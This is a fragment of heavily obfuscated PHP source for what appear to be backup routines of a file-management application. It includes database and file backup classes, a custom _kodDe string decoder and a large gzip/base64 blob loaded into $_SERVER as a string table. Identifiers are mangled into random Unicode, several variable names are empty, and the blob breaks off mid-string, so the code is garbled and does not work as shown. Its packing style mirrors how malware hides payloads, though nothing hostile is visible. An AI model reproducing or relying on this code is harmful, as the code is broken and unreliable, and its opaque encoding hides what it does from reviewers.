public function listData($꺎 = false, $ܩ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($꺎, $ܩ, $); } public function remove($̣Ϗ) { return parent::remove($̣Ϗ); } public function add($͓, $ʀ = "\x6c\141\x62\145\154\x2d\x67\162\x65\171\55\156\157\162\155\141\154") { $㗹 =& $_SERVER[ׇ]; if ($this->findByName($͓)) { return !1; } $ = array($㗹[494] => $͓, $㗹[558] => $ʀ, $㗹[1975] => $this->getSort($㗹[335]) + 1); return parent::insert($); } public function update($Â, $͆) { $ġ =& $_SERVER[ׇ]; $ڏֹ = $this->listData($Â); $ = $this->findByName($͆[$ġ[32]]); if (!$ڏֹ || $ && $[$ġ[475]] != $ڏֹ[$ġ[475]]) { return !1; } return parent::update($Â, $͆); } public function moveTop($흀) { $ï =& $_SERVER[ׇ]; $ڍdz = parent::listData(); $ = $this->getSort($ï[334]); foreach ($ڍdz as &$) { if ($[$ï[475]] == $흀) { $[$ï[1995]] = $; continue; } $[$ï[1995]] += 1; } unset($); return parent::resetData($ڍdz); } public function moveBottom($ٓ) { $Ǟˢ =& $_SERVER[ׇ]; $ݿ = $this->getSort($Ǟˢ[335]) + 1; return parent::update($ٓ, array($Ǟˢ[1995] => $ݿ)); } public function resetSort($Ł) { $Կ =& $_SERVER[ׇ]; $ = array(); $Ł = is_array($Ł) ? $Ł : array(); for ($׎؞ = 0; $׎؞ < count($Ł); $׎؞++) { $[$Ł[$׎؞] . $Կ[12]] = $׎؞ + 1; } $ = parent::listData(); foreach ($ as &$ϥ) { $ܿ = $[$ϥ[$Կ[475]]]; $ϥ[$Կ[1995]] = $ܿ ? $ܿ : $ϥ[$Կ[1995]]; } unset($ϥ); return parent::resetData($); } private function getSort($Ծ) { $ =& $_SERVER[ׇ]; $ = parent::listData(); $˹ = array_to_keyvalue($, $[12], $[1995]); if (!$˹) { $˹ = array(0); } $Ϯ = $Ծ == $[335] ? max($˹) : min($˹); return intval($Ϯ); } } goto A; C׃: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[ׇ]; $𸊒 = Backup::get(); self::$io = $𸊒[$[825]]; self::$name = $𸊒[$[32]]; $߇ʦ = new DbManage(); $Ϻ䪨 = $߇ʦ->dbType(); $̣ = array($[850] => $Ϻ䪨, $[851] => time()); Backup::set($̣); $ = $this->tmpFilesPath() . $[852] . self::$name . $[8]; del_dir($); mk_dir($); $ = $ҍ = 0; try { $о = $߇ʦ->db()->getTables(); } catch (Exception $) { return !1; } $о = array_diff($о, array($[853], $[854])); foreach ($о as $) { $ += $߇ʦ->model($)->count(); } $ = new Task($[855], $[856], $, LNG($[857]) . $[858] . LNG($[859])); $GLOBALS[$[860]] = self::$name; foreach ($о as $) { $ = $ . $ . $[861]; $ = null; if ($ == $[862] && (!isset($𸊒[$[171]]) || $𸊒[$[171]] == $[228])) { $ = self::$io; } $ҍ += $߇ʦ->sqlFromDb($, $, $, $); } unset($GLOBALS[$[860]]); $->end(); if ($ҍ > $) { $ = $ҍ; } $̣ = array($[850] => $Ϻ䪨, $[846] => 1, $[863] => $, $[864] => $ҍ, $[865] => time()); Backup::set($̣); if ($ - $ҍ > 0) { $ = $[866]; if (!stristr(I18n::getType(), $[867])) { $ = $[868]; } write_log(array($, $̣), $[856]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[ׇ]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[869]]) { $ = $GLOBALS[$[6]][$[92]][$[869]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[870])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ܮ =& $_SERVER[ׇ]; $Ϣ = Backup::get(); $ = $Ϣ[$ܮ[32]]; $݈ = $this->tmpFilesPath() . "\x62\141\143\x6b\165\x70\137{$}\57"; $ = $this->backupPath($Ϣ); if (!($ = IO::mkdir($))) { return !1; } $ɼ = IO::listPath($݈); $撃 = isset($ɼ[$ܮ[86]]) ? $ɼ[$ܮ[86]] : array(); $ = array_sum(array_column($撃, $ܮ[79])); if (!$) { return !1; } $ = array($ܮ[871] => $, $ܮ[872] => time()); Backup::set($); $ = new TaskFileTransfer($ܮ[873], $ܮ[856], count($撃), LNG($ܮ[857]) . $ܮ[462] . LNG($ܮ[859]) . $ܮ[874]); $->task[$ܮ[836]] = $; foreach ($ɼ[$ܮ[86]] as $) { $Ĉ = IO::move($[$ܮ[87]], $); if (!$Ĉ) { $->end(); $ = IO::getLastError($ܮ[875] . $[$ܮ[87]] . $ܮ[876] . $ . $ܮ[178]); write_log($, $ܮ[856]); return !1; } } $ց = new DbManage(); $ܙ = $ց->getSqlFile(); if (!$ܙ[$ܮ[877]] || !$ܙ[$ܮ[13]]) { return !1; } IO::move($ܙ[$ܮ[877]], $); IO::move($ܙ[$ܮ[13]], $); $->end(); $ = array($ܮ[878] => $, $ܮ[879] => time()); Backup::set($); return !0; } private function backupPath($) { $ڼՍ =& $_SERVER[ׇ]; $ = $[$ڼՍ[32]]; $ = Model($ڼՍ[843])->get($ڼՍ[844]); $㮩 = substr(md5($ڼՍ[845] . $ . $), 0, 8); return "\x7b\x69\x6f\72{$[$ڼՍ[825]]}\x7d\x2f\x64\x61\164\141\x62\x61\163\145\57\x62\141\143\153\x75\x70\x2f" . $ . $ڼՍ[11] . $㮩; } private function tmpFilesPath() { $ =& $_SERVER[ׇ]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[869]]) { $ = $GLOBALS[$[6]][$[92]][$[869]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[870])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $׾ = Backup::get(); $Ɗ = $׾[$_SERVER[ׇ][369]][$_SERVER[ׇ][230]][$_SERVER[ׇ][541]]; $ = array($_SERVER[ׇ][542] => array($_SERVER[ׇ][880], $Ɗ), $_SERVER[ׇ][881] => array($_SERVER[ׇ][407], $׾[$_SERVER[ׇ][825]])); $ = (int) Model($_SERVER[ׇ][862])->where($)->count($_SERVER[ׇ][541]); $ = (int) Model($_SERVER[ׇ][862])->where($)->sum($_SERVER[ׇ][79]); $ = new TaskFileTransfer($_SERVER[ׇ][882], $_SERVER[ׇ][856], $, LNG($_SERVER[ׇ][857]) . $_SERVER[ׇ][858] . LNG($_SERVER[ׇ][883])); $->task[$_SERVER[ׇ][836]] = $; $ = array($_SERVER[ׇ][884] => $, $_SERVER[ׇ][885] => $, $_SERVER[ׇ][886] => time()); Backup::set($); $ = !0; $ԕ߹ = $this->storeIds(); $񖀢 = 1; $ʺ = 1000; $橺 = $ = 0; $ķ = array(); $ق = $琞ӟ = 0; do { $ = $_SERVER[ׇ][887]; $ۜ = Model($_SERVER[ׇ][862])->where($)->field($)->order($_SERVER[ׇ][888])->selectPage($ʺ, $񖀢); $ԯ = !empty($ۜ[$_SERVER[ׇ][445]]) ? $ۜ[$_SERVER[ׇ][445]] : array(); foreach ($ԯ as $) { if (!$this->_fileExist($, $ķ, $ԕ߹)) { write_log("\146\151\x6c\145\40\156\157\x74\40\x65\170\151\163\x74\x2e\x66\x69\x6c\x65\x49\104\72{$[$_SERVER[ׇ][541]]}\x2c\40\160\x61\164\x68\x3a{$[$_SERVER[ׇ][87]]}", $_SERVER[ׇ][889]); continue; } $˪ܕ = $[$_SERVER[ׇ][87]]; $ = "\x7b\x69\x6f\72{$׾[$_SERVER[ׇ][825]]}\x7d" . substr($˪ܕ, strlen("\173\x69\x6f\x3a{$[$_SERVER[ׇ][890]]}\175")); if (IO::exist($)) { $->updateFileEnd($[$_SERVER[ׇ][32]], $[$_SERVER[ׇ][79]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($˪ܕ, $, $_SERVER[ׇ][891])) { write_log($_SERVER[ׇ][892] . $˪ܕ . $_SERVER[ׇ][876] . $ . $_SERVER[ׇ][178], $_SERVER[ׇ][856]); $ = !1; break; } } $Ɗ = $[$_SERVER[ׇ][541]]; $ += 1; $橺 += $[$_SERVER[ׇ][79]]; $琞ӟ += 1; $ق += $[$_SERVER[ׇ][79]]; if ($橺 >= 1024 * 1024 * 100) { $ = array($_SERVER[ׇ][824] => $Ɗ, $_SERVER[ׇ][893] => $琞ӟ, $_SERVER[ׇ][894] => $ق); Backup::set($); $橺 = $ = 0; } } $ = count($ԯ); $񖀢++; } while ($ == $ʺ); $->end(); $ = array($_SERVER[ׇ][895] => 1, $_SERVER[ׇ][834] => time(), $_SERVER[ׇ][848] => 1, $_SERVER[ׇ][824] => $Ɗ, $_SERVER[ׇ][896] => time()); if ($) { $[$_SERVER[ׇ][893]] = $琞ӟ; $[$_SERVER[ׇ][894]] = $ق; } Backup::set($); return !0; } private function _fileExist($ϒ, &$چՎ, $Dz) { $Ϯ =& $_SERVER[ׇ]; $ = $ϒ[$Ϯ[87]]; if (in_array($ϒ[$Ϯ[541]], $چՎ)) { return !1; } if (!in_array($ϒ[$Ϯ[890]], $Dz)) { return !1; } if (IO::exist($)) { return !0; } $² = get_path_father($); if (IO::exist($²)) { $چՎ[] = $ϒ[$Ϯ[541]]; return !1; } $ = array($Ϯ[890] => $ϒ[$Ϯ[890]], $Ϯ[87] => array($Ϯ[459], "{$²}\45")); $ = Model($Ϯ[862])->where($)->field($Ϯ[542])->select(); $چՎ = array_merge($چՎ, array_to_keyvalue($, $Ϯ[12], $Ϯ[541])); return !1; } private function _fileFilter($貔) { $ِ =& $_SERVER[ׇ]; return; if (empty($貔)) { return; } $Ţ = array($ِ[541] => array($ِ[7], array_unique($貔))); $ = Model($ِ[897])->where($Ţ)->field($ِ[193])->select(); foreach ($ as $) { Model($ِ[897])->remove($[$ِ[193]], !1); } } private function storeIds() { $ҡ =& $_SERVER[ׇ]; $񔇛 = Model($ҡ[840])->listData(); $ = array(); $ę = $GLOBALS[$ҡ[6]][$ҡ[92]][$ҡ[898]]; foreach ($񔇛 as $я) { $ = strtolower($я[$ҡ[98]]); if (!isset($ę[$])) { continue; } $ = $ҡ[77] . (isset($ę[$]) ? $ę[$] : ucfirst($)); if (!class_exists($)) { continue; } $[] = $я[$ҡ[475]]; } return $; } } goto D샶⡛; D: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\xa6\xbb\xd7\x87\xc3\xe3", strrev('ޫ')); $_SERVER[ׇ] = explode("\174\4\174\5\174\5", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\11\174\33\305\365\60\147\313\131\50\151\113\113\241\135\234\4\333\211\16\73\167\234\70\101\266\345\130\104\266\214\44\347\300\66\233\265\264\266\326"."\226\264\262\166\345\213\204\43\44\34\11\111\240\134\11\204\373\50\24\110\70\32\10\167\13\55\1\12\264\375\123\132\12\345\50\304\116\270\132\216\226\102\111\333\157\216\67\307\256\144\350\367"."\xfb\x7f\xbf\xdf\x17\x48\x34\xc7\x9b\xd9\x39\xde\xbc\xf7\xe6\xcd\x9b\x37\xf\xad\xbe\xf1\x99\x1f\x7f\xb0\xf2\xa0\x95\x7\xaf\x3c\xf8\xb6\x4f\x6f\x7f\xf3\x8e\x7\x68\x18\xfd\x7b\x20\xfa\x8f\x84\x7f\xb8\xfe\x90"."\375\310\237\11\353\327\125\124\64\315\72\154\152\313\21\233\176\172\227\166\273\266\115\333\30\11\377\352\271\320\221\57\334\171\112\160\354\246\137\15\217\355\277\337\202\326\267\167\324\40\140\132"."\266\206\376\50\131\323\126\364\41\303\262\55\232\220\60\263\335\106\17\15\33\131\372\353\247\77\155\321\160\136\317\230\266\116\243\76\372\243\362\166\241\177\255\376\264\301\362\325\226\110\134\215"."\265\265\266\6\243\161\0\252\221\363\63\146\22\102\71\55\257\145\340\373\71\75\157\241\326\310\325\251\71\63\247\147\35\51\42\41\251\331\132\227\146\101\115\15\165\152\103\260\65\34\131\256".strrev('^(ssHд>XĢ(.`9ё存#a/K')."\36\215\204\303\165\201\372\305\305\71\255\321\300\242\346\200\202\332\227\326\125\43\333\155\126\50\53\150\316\12\245\222\6\32\15\75\235\244\301\254\306\232\143\17\347\40\24\347\41\64\115\331".strrev(',UP։MmGH4di'."\n".'T^cFFAFBԔ<-#M:B')."\16\326\307\25\334\100\245\61\32\151\126\140\22\62\232\145\353\171\145\151\123\60\32\124\160\243\153\313\111\137\313\25\300\227\26\64\24\112\40\34\126\306\253\301\326\63\71\126\15\55\123\242"."\262\110\264\41\30\125\352\226\53\142\204\22\146\46\143\146\175\250\26\64\223\266\324\324\140\64\112\3\36\100\357\160\10\117\32\104\42\215\215\261\40\217\101\347\116\15\243\226\114\7\374\164"."\304\222\335\151\133\35\320\322\5\206\246\175\364\267\34\176\340\327\264\0\165\373\215\254\121\0\64\205\52\114\223\57\53\10\24\30\264\316\122\364\44\4\62\250\274\11\345\272\40\255\213\101".base64_decode('9bKAgVboAA3WLqC/86B8l4rz9Lyt6tmEmTSysI4XAj5qdqohbyAAGu8200kWtowR6GW3kQ==')."\326\133\12\31\31\204\107\23\51\43\235\314\263\245\367\145\220\64\32\346\53\31\303\212\130\16\265\204\23\1\243\173\130\54\105\14\327\312\163\55\263\220\117\350\41\264\164\150\274\32\222\165".strrev('iI2[FD-|>f` X'."\n".'EDl5y錖bcF')."\170\377\335\331\176\62\372\247\22\250\142\7\264\51\245\247\323\252\76\244\303\232\312\44\147\132\154\60\374\126\227\221\365\243\24\32\15\105\324\224\146\245\232\223\63\125\122\212\21\333\244\76"."\xe4\xcb\xa5\x72\xb0\xe0\xf9\x1a\xef\x70\xe0\x3c\x1e\xba\x16\xd3\xe\x4a\x24\x3b\x6d\x26\xb4\xb4\xdc\x45\x1a\x4e\xd9\x76\x2e\xa6\x67\x93\x78\x24\xa0\x2b\xe6\x60\x96\x8c\x54\x4e\xd7\x1\xa8\xc1\xa3\x24\x95\x66"."\145\271\322\124\143\324\130\254\140\46\315\103\254\167\74\315\342\211\366\20\233\316\144\67\140\53\343\30\145\360\101\303\42\304\117\254\134\55\227\113\33\11\315\66\314\254\337\114\330\272\355\265".base64_decode('7LyuQY2BREK3LG+9mbXzZtobSKfNQW8kb/QY2RplCtBhlInWuxfTxhpYxGXzFIw4+DNTag==')."\13\166\267\167\16\133\234\34\72\257\145\255\156\75\357\15\302\312\250\121\120\143\71\201\144\140\15\206\225\63\55\3\67\257\106\321\154\133\113\244\60\161\21\325\327\176\11\274\221\115\33\131".base64_decode('vRgWVaJ7W/NaT0arUXKFLjQAsCAhLYEhZGAYgBolow15tR5WU3AoZ+R1i/VaWdQcB4zq9g==')."\66\343\205\144\350\111\157\14\121\157\250\154\172\325\14\5\341\212\302\362\150\152\123\74\336\252\206\32\21\173\156\11\252\315\201\170\175\23\324\156\153\75\254\352\60\242\311\274\112\226\270\314"."\213\26\24\306\246\26\324\71\221\330\152\16\352\171\364\341\272\341\32\245\317\114\166\231\103\76\226\205\201\143\210\262\60\140\74\277\71\333\33\325\262\75\270\33\135\303\266\156\271\151\123\35"."\142\346\276\156\272\172\175\135\172\267\231\207\336\130\3\75\316\301\17\353\331\36\73\305\352\216\5\243\113\202\121\65\26\151\214\57\15\104\201\367\147\21\346\14\261\326\340\257\247\275\121\75"."\x89\x6\x31\x61\xb3\x72\x5a\x4e\x8c\xfe\x32\x2f\x5e\x30\xf8\xe3\x2c\x17\x2f\x22\x96\x17\xe\x2d\xc2\x63\xd7\xe0\xb5\x10\x90\x57\x86\x62\x75\x87\x8d\x8c\x81\xbb\x67\xf3\x1c\x32\xd8\x48\x30\x58\x4\xd\xf2\x93"."\76\327\166\130\123\52\72\222\123\53\275\350\337\51\225\355\35\15\276\51\235\13\375\206\50\343\257\366\125\53\323\252\146\51\255\110\122\61\264\264\2\235\56\202\250\122\42\213\235\303\42\60"."\74\153\146\365\222\13\13\41\222\151\351\336\46\135\103\104\32\115\204\143\136\74\354\133\64\376\45\243\213\171\245\104\113\134\363\102\23\243\301\123\333\202\261\270\332\34\214\67\105\32\240\371"."\301\0\204\262\250\60\151\57\233\143\54\230\1\133\314\102\265\372\220\304\103\4\57\110\310\3\102\312\265\230\203\214\372\273\20\250\76\245\47\372\306\311\103\41\350\215\111\351\22\233\272\166"."\xfa\xd3\x9\xd8\xdc\x49\x7f\x54\xc3\x6a\x94\xf8\x26\x8e\x72\xfa\xaa\x9a\x5d\xbd\x8\xb3\x9a\x75\xc6\x44\xe0\x4b\xa1\xc\x5a\xc3\xa2\xe5\xaa\x93\xc9\xb1\x6e\x35\xb\x4c\x47\x4b\x66\xa9\x91\xe4\x5c\x10\x45\x9b"."\164\243\47\5\15\65\160\165\11\63\155\346\265\64\246\375\114\160\355\61\200\14\347\322\5\204\367\176\134\161\74\125\310\164\1\247\102\143\324\243\333\102\246\264\206\221\340\225\141\34\31\261"."\165\73\324\340\340\273\20\363\253\30\127\73\174\271\154\117\345\44\250\113\235\66\263\12\47\300\64\102\317\220\160\135\320\213\273\356\113\230\150\141\67\153\175\172\15\356\13\120\263\171\44\225"."\x45\x24\x82\x39\xf\xf3\xb8\x5a\x37\x5d\xc0\xd3\x93\xf6\x65\x50\x25\xa4\xce\x7a\x93\x73\x65\xba\x7d\x99\xe7\xe4\x71\x8a\x9e\xcf\x9b\xf9\x13\x1\x82\x84\x15\xc2\x28\xf1\x74\x41\xe5\x36\x17\x3b\x2c\x44\x2\x58"."\x38\x65\x72\x31\xc5\x64\xc8\x58\xe3\x87\x7e\x4f\x9e\xd6\x8\x64\x23\x89\xc4\x35\x9f\x65\xa3\x49\x40\x1d\xd4\x92\xc9\x52\xc9\x88\xd4\x40\x5\x2b\x19\x9e\x92\xc\x26\x7\xf8\x63\xd3\xd1\xff\x82\xe9\x27\xcd\x8c"."\306\130\50\141\176\172\222\162\77\107\22\135\266\64\151\12\253\67\157\233\70\63\357\200\104\230\230\62\241\145\150\352\241\127\5\336\75\326\321\244\236\326\31\26\245\164\46\100\124\1\30\32"."\x7e\x8e\x63\xdd\x1c\xd9\xd1\x16\x1\xa5\xa\xc9\xcd\xb0\xa2\xa8\x24\x66\xf7\x2c\xbe\x14\xef\xa9\x44\x2\x96\x79\x0\x79\x44\x30\x8d\xa6\x2e\x42\x56\x8d\x88\xb7\xe6\xf5\x6e\x63\x88\x11\x88\x21\xbb\x59\xcb\xf7"."\xb1\x8e\xa1\x92\x62\xbd\xe1\x88\xb4\x16\x1b\xdb\xc2\x61\xb5\x3e\xd2\x12\x47\x5b\x32\x9a\xb2\x34\x1a\x8a\x7\x19\x1d\xa\x34\xa8\x81\xfa\x56\x88\x9\xca\xc6\xc5\x32\x59\xb0\xa0\x29\x3\xd3\x0\x4f\x50\x23\xfc"."\102\2\102\54\70\147\146\21\375\4\22\344\25\33\266\242\254\244\20\20\0\101\204\120\341\222\23\20\247\317\214\170\63\210\170\170\171\233\234\342\231\2\354\236\112\171\41\230\246\44\237\34"."\x3c\x78\x68\x21\x33\xb9\xb0\x35\x12\x83\x2\xb\x71\x2a\x92\xcd\xbb\xf8\x7a\x6b\x6d\x83\xac\x8c\x84\x22\x8b\x82\x90\x78\x18\x60\x55\x4a\x3\x89\x3b\xb0\x34\xc6\x58\x78\x1\xc1\xe7\x8d\x11\x4d\x74\x69\x21\x6b"."\xf\xeb\x48\x26\x2d\x44\x7d\x67\xaf\xbc\x62\xe6\xb\x96\x57\xc7\x52\x86\xf8\xc2\xc\x6f\x53\x73\xa0\xde\x1b\x6b\xa\x4c\x9b\x39\x8b\xa6\x2e\xcf\x24\x3b\xe2\x4d\x86\xd5\x71\x1a\x8f\xc3\x30\xe\x5a\x33\xd4\xbc".base64_decode('jggO+9C0qmpGDpCUJDVvuTfjxbXgEfRVVVWxuqbOUlKIznFukiSzxPZdhUQfWzBagom+mA==').base64_decode('y1jeQYNR5kl8lzCpGHsmOfkhVFEgnFjVEvhjKqrRLljySKFllUSFDCbR01Qt3YMG3U5l5A==')."\104\61\361\64\256\123\361\220\317\35\37\105\74\266\116\34\227\233\224\63\221\100\12\335\130\126\262\15\313\112\265\141\231\253\15\313\212\333\100\223\54\243\47\213\172\311\230\33\114\307\42\74"."\x1d\xd2\xb4\x3a\xa6\x79\x48\x45\x5\x55\x58\x43\xaa\xdc\x15\x18\x24\xe8\x86\x9c\xd3\xc4\xa9\x19\xeb\x64\x73\xc3\x4c\xd6\x8e\x40\xf3\x69\xde\x86\x0\xa3\x5\xf3\x17\x22\x14\x55\x6\xb0\xa6\xc9\xcc\xd6\x96\x57"."\373\252\312\25\266\143\256\55\157\213\67\242\375\303\302\5\207\315\257\67\63\71\114\30\233\361\46\21\57\41\272\121\134\0\313\143\76\226\315\130\244\225\257\60\32\17\306\65\140\216\363\375"."\x32\xdc\x7c\xff\x78\xb5\x2\xb2\x65\xb4\x11\x33\x8b\xd0\x1b\x31\xcd\x8c\x2f\x1\x38\x8c\xc5\x50\xce\x83\x70\xc4\xe2\xb1\x78\x53\xa8\x65\xb1\xda\x1c\x69\x8\x86\xd5\x50\xb\x92\xd3\xe2\xc5\xe9\x6d\xad\xa2\xf3"."\162\172\135\44\336\344\110\155\103\222\332\222\100\70\344\6\17\56\13\305\342\261\222\131\50\255\55\350\312\151\250\123\133\243\301\306\320\62\36\155\14\5\303\15\61\265\76\120\337\44\140\132".base64_decode('As0QQSKRnk5afie8ikTOGFenqTBhEHNosFSmm1EFLUbbFx0QGLqLFZKkJypb9AUuQLK9eg==')."\206\61\133\264\365\202\31\141\373\216\12\372\123\251\4\142\212\235\123\71\133\355\32\346\101\322\15\26\107\302\6\174\137\1\361\267\250\5\52\206\251\223\66\71\245\23\2\335\66\27\70\135"."\161\304\104\104\36\232\201\0\321\174\42\114\40\63\2\237\61\20\113\312\333\1\326\234\156\241\165\124\43\255\301\150\0\353\54\325\245\321\110\313\42\50\60\230\322\131\3\102\60\374\25\154"."\xd7\x9\xaa\x4b\x5b\x70\x76\x2d\x6d\x68\x4c\x87\x25\x6\xbd\xd7\x64\x43\x79\x12\xd0\x54\x83\x8b\xf4\x59\x36\xdc\x5d\x58\xba\x61\x72\x2d\xb\x74\xa3\xf5\xc0\x24\x13\xb3\xc0\x3f\xd3\x65\x9a\x69\xc6\xe8\x32\x4c"."\xb0\x42\xc4\x86\xeb\x3c\x7b\x2d\x86\x1d\x43\x8c\x57\x4f\xe5\x3c\x1\x70\x36\xb2\x38\xd8\xa2\x32\x94\xa2\x31\x9\xd\x69\x42\x30\x1a\x8d\x44\x61\x24\x6c\xb3\x8f\xe9\xbb\x68\x66\x34\x18\x63\x6c\x12\xf3\x1f\x83"."\215\223\337\67\25\320\127\107\102\34\174\336\177\172\307\340\324\212\166\357\124\137\47\12\124\116\71\231\106\41\326\341\163\104\231\154\135\310\363\322\170\251\127\130\13\53\153\72\374\35\376\212"."\205\65\355\1\357\210\346\35\251\362\316\365\166\42\211\274\162\52\44\164\236\61\315\63\143\25\6\100\200\13\47\166\242\237\332\216\205\223\73\274\47\235\271\342\344\366\216\316\362\232\251\47"."\x76\xf8\x26\x76\xc\x76\x4e\xa9\x5c\xc8\xbe\x93\x28\xe4\x91\xd0\xcf\x48\x3f\x6a\x6a\x72\x6a\x5\x6a\x12\xda\x96\x72\x90\xac\x44\xd1\x8\x0\xcb\x18\x31\x72\x22\xf5\x8c\x59\xab\x58\x3a\x9a\x43\xbd\x47\x94\x68".base64_decode('93ZM7VwolZOS3N9CLAkJMCkOF/CehnvGi+IFD/hRyCYEf8cLokvj+7uerNhH2XmuAx1ASA==')."\x2a\x98\xd5\x19\x93\xe9\xef\x2a\x36\x91\x3d\xfa\x10\xa3\x9\xd9\x6e\x23\xf\xd8\x59\xc8\x1a\xfd\x6c\x43\x93\xd5\xfb\x21\x60\xda\xc\xb1\xbb\x74\x7b\x50\x67\xe8\x81\xd2\x1d\x71\x84\x1c\x8c\x81\xa2\x2c\x29\x96".base64_decode('lpgvUVZxHOXIZORUvLcb5DHEj2GeDgVoK6Hl9JjUQ1WNB+rCQZWRFiDBLE7IYR0/KUFdEw==')."\xa4\x94\x11\x6\x49\x11\x45\x14\x43\xb0\xe4\xad\xfe\xb4\x42\x28\x2\xdd\x54\xd5\x90\x43\x23\xab\x90\xc3\xfb\x23\x5\xcd\x38\x1a\x5b\x5\x49\x42\x4a\xed\x2\x85\xe\x39\x94\x53\xe5\x9\xc8\xf1\x7d\xf\xd6\x64".strrev('T9P8 ;%U}1wv_=v'."\n".'mвmcb')."\x80\xeb\xc3\xed\xe0\x6a\x6a\x47\x84\x67\xd3\xa8\x99\xe7\x3b\x8b\x9c\x63\xff\x6e\x9b\xb6\x96\x76\x54\x11\xc7\x29\x8c\x34\x31\x31\x4\x14\xb6\x74\xb6\xc3\x82\x62\x61\x59\x58\x3a\xf7\x21\x74\xb4\x85\x2b\x48\xb9".base64_decode('RCkdPOASMd32cQiPlKmiuOMMrraMUfksWk71Eo+javMY2fY7DossXcsnUo2FdNrm2pa00Q==')."\7\137\200\265\2\147\127\136\140\3\123\113\25\155\64\363\114\371\70\5\232\121\66\245\24\140\50\233\65\223\135\62\252\11\356\272\50\200\344\230\270\122\301\316\131\224\120\213\122\27\211\204".base64_decode('g4EWBTNyYEBISogFWwOIe2E1ZiwehKOfUIOX1bvMy3QYPGDAsJs5KoDrtpo2GfFwakHw3g==')."\314\203\165\21\36\54\124\170\120\253\75\130\175\341\21\73\137\217\70\276\360\14\30\372\40\11\360\135\251\7\66\253\36\241\170\201\140\250\301\143\130\15\144\323\115\76\100\262\130\23\354\24"."\xd6\x2a\xa7\xb5\x61\xf\x6d\x4e\x58\x1f\xd0\xd3\x1e\xa6\x92\xf1\xb0\x36\x7a\x98\x22\xca\x43\x14\x48\xd\xd0\xac\x36\xb4\x9c\xa0\x59\x24\x88\xa8\x66\xca\x83\x11\x8\xe3\xaf\x47\x1c\xa8\x78\xcc\xc1\xac\x9e\x27"."\40\60\60\142\277\356\21\173\171\117\117\336\54\344\132\331\67\245\30\155\26\44\210\66\363\204\250\151\332\36\246\333\362\310\112\56\150\105\200\255\223\222\303\131\272\67\144\374\335\215\0\374".base64_decode('wlnFo/QVk1U8H0793hm0RlBmrmJczgFD9Gxc7MQDLkJLxELFHWjU4OiOViuHOYJmnYgqzg==')."\x4e\xc4\xa9\x99\x10\x72\xdd\x5a\x18\xf7\x79\x1a\xfe\x28\xda\x89\xc4\xa4\xcf\xd9\x5a\xf\xfb\x16\x26\x56\x7c\x9f\x52\x2\x94\x86\xa3\x7a\x62\x38\x21\xd4\x3a\xd\x92\xb2\xc8\x19\x2b\xa0\x1a\x62\x5a\xb7\xab\x5b"."\36\262\216\112\255\201\322\163\314\361\232\117\311\141\207\36\312\306\230\41\73\237\137\307\32\371\352\325\11\375\42\44\60\222\23\102\4\155\54\46\303\61\304\324\32\323\154\120\246\311\331\100"."\x80\x3d\xce\x18\x5e\x5c\x3e\x42\x90\xc9\x9\x75\x8c\x2b\xd\xc3\xc1\xc6\xb8\x72\x4a\x4\x51\x2f\xc3\x54\x69\x19\x15\x3\x2b\xe4\x1f\x33\xab\x38\xea\x66\xc3\xa5\xd4\x92\x7c\x11\xd7\xb2\x49\x9a\xb2\x2\x51\xfa"."\x15\xb5\x65\xec\x23\x65\x8e\xe2\x2\x4d\x9c\x8d\xf0\xb0\xa8\x52\x8c\x78\x78\xb8\xe5\x41\xc0\xe8\x40\xba\x2f\xb8\x13\x4b\x8a\x8\x66\x58\x0\xc9\x4f\xb3\x60\xf3\x85\x55\xae\x10\xd2\x59\x9a\x98\x5a\x19\x2f\x25"."\x72\x23\x12\x58\xbb\x1c\xdf\xc5\x51\xb1\xa6\x18\x4a\x28\xf8\x3\x1e\x49\x56\xc1\x24\xc5\x2b\x56\x87\x14\x75\xe\xb9\xb\x23\x5d\x2c\x14\xf\x51\xab\x91\x1d\x36\xb2\x31\x3\xef\xcd\xdd\xa9\x82\xb\xb\x21\x0"."\57\156\21\243\130\71\136\230\62\21\254\372\242\365\173\340\370\327\223\66\262\175\22\203\26\232\115\324\172\134\124\152\73\324\344\152\71\124\44\201\210\21\200\365\14\30\237\322\362\142\60\31"."\25\302\244\200\367\301\302\40\42\52\201\165\153\3\102\100\161\224\221\150\211\145\17\263\326\313\101\147\245\64\332\340\41\277\115\250\361\362\162\345\323\203\351\10\3\242\44\10\321\202\60\32"."\53\364\103\72\22\67\75\130\167\217\176\50\33\147\226\0\4\210\341\175\41\323\0\147\1\70\274\4\21\0\46\227\241\1\257\140\4\4\204\11\125\322\5\160\2\344\24\7\150\113\2\234"."\274\43\171\75\215\270\131\336\207\327\310\42\314\223\330\230\120\362\46\343\134\114\107\375\204\352\105\15\261\242\74\31\132\350\120\61\271\27\354\201\37\200\361\45\46\306\127\254\247\36\321\40".base64_decode('PJxqcTswBpeON+ZNLtxyzu4Gqie7R27Q4eLG0ng4JIiiJKmMW5ZwpbqiWL4owWhoElOO0Q==')."\343\230\74\145\140\76\264\47\0\373\34\117\225\44\156\11\72\163\6\75\22\3\206\267\312\65\317\266\151\242\215\146\336\227\107\137\26\15\222\150\34\20\10\142\243\201\371\240\54\44\360\132"."\54\224\41\121\153\247\54\304\112\306\162\32\43\322\134\116\143\330\113\166\25\5\101\70\111\223\105\173\170\53\150\106\230\13\267\230\74\4\223\206\215\123\360\172\63\331\71\220\0\24\34\322"."\x5d\x58\xc4\x65\x92\x4d\x38\x4f\xd1\xdc\x8b\x9d\x83\x67\xb2\x3\xd2\x29\x2d\x40\xe2\x14\xc2\xd2\x7d\x42\xb8\x29\x6d\x96\x94\x30\x73\x80\x10\x92\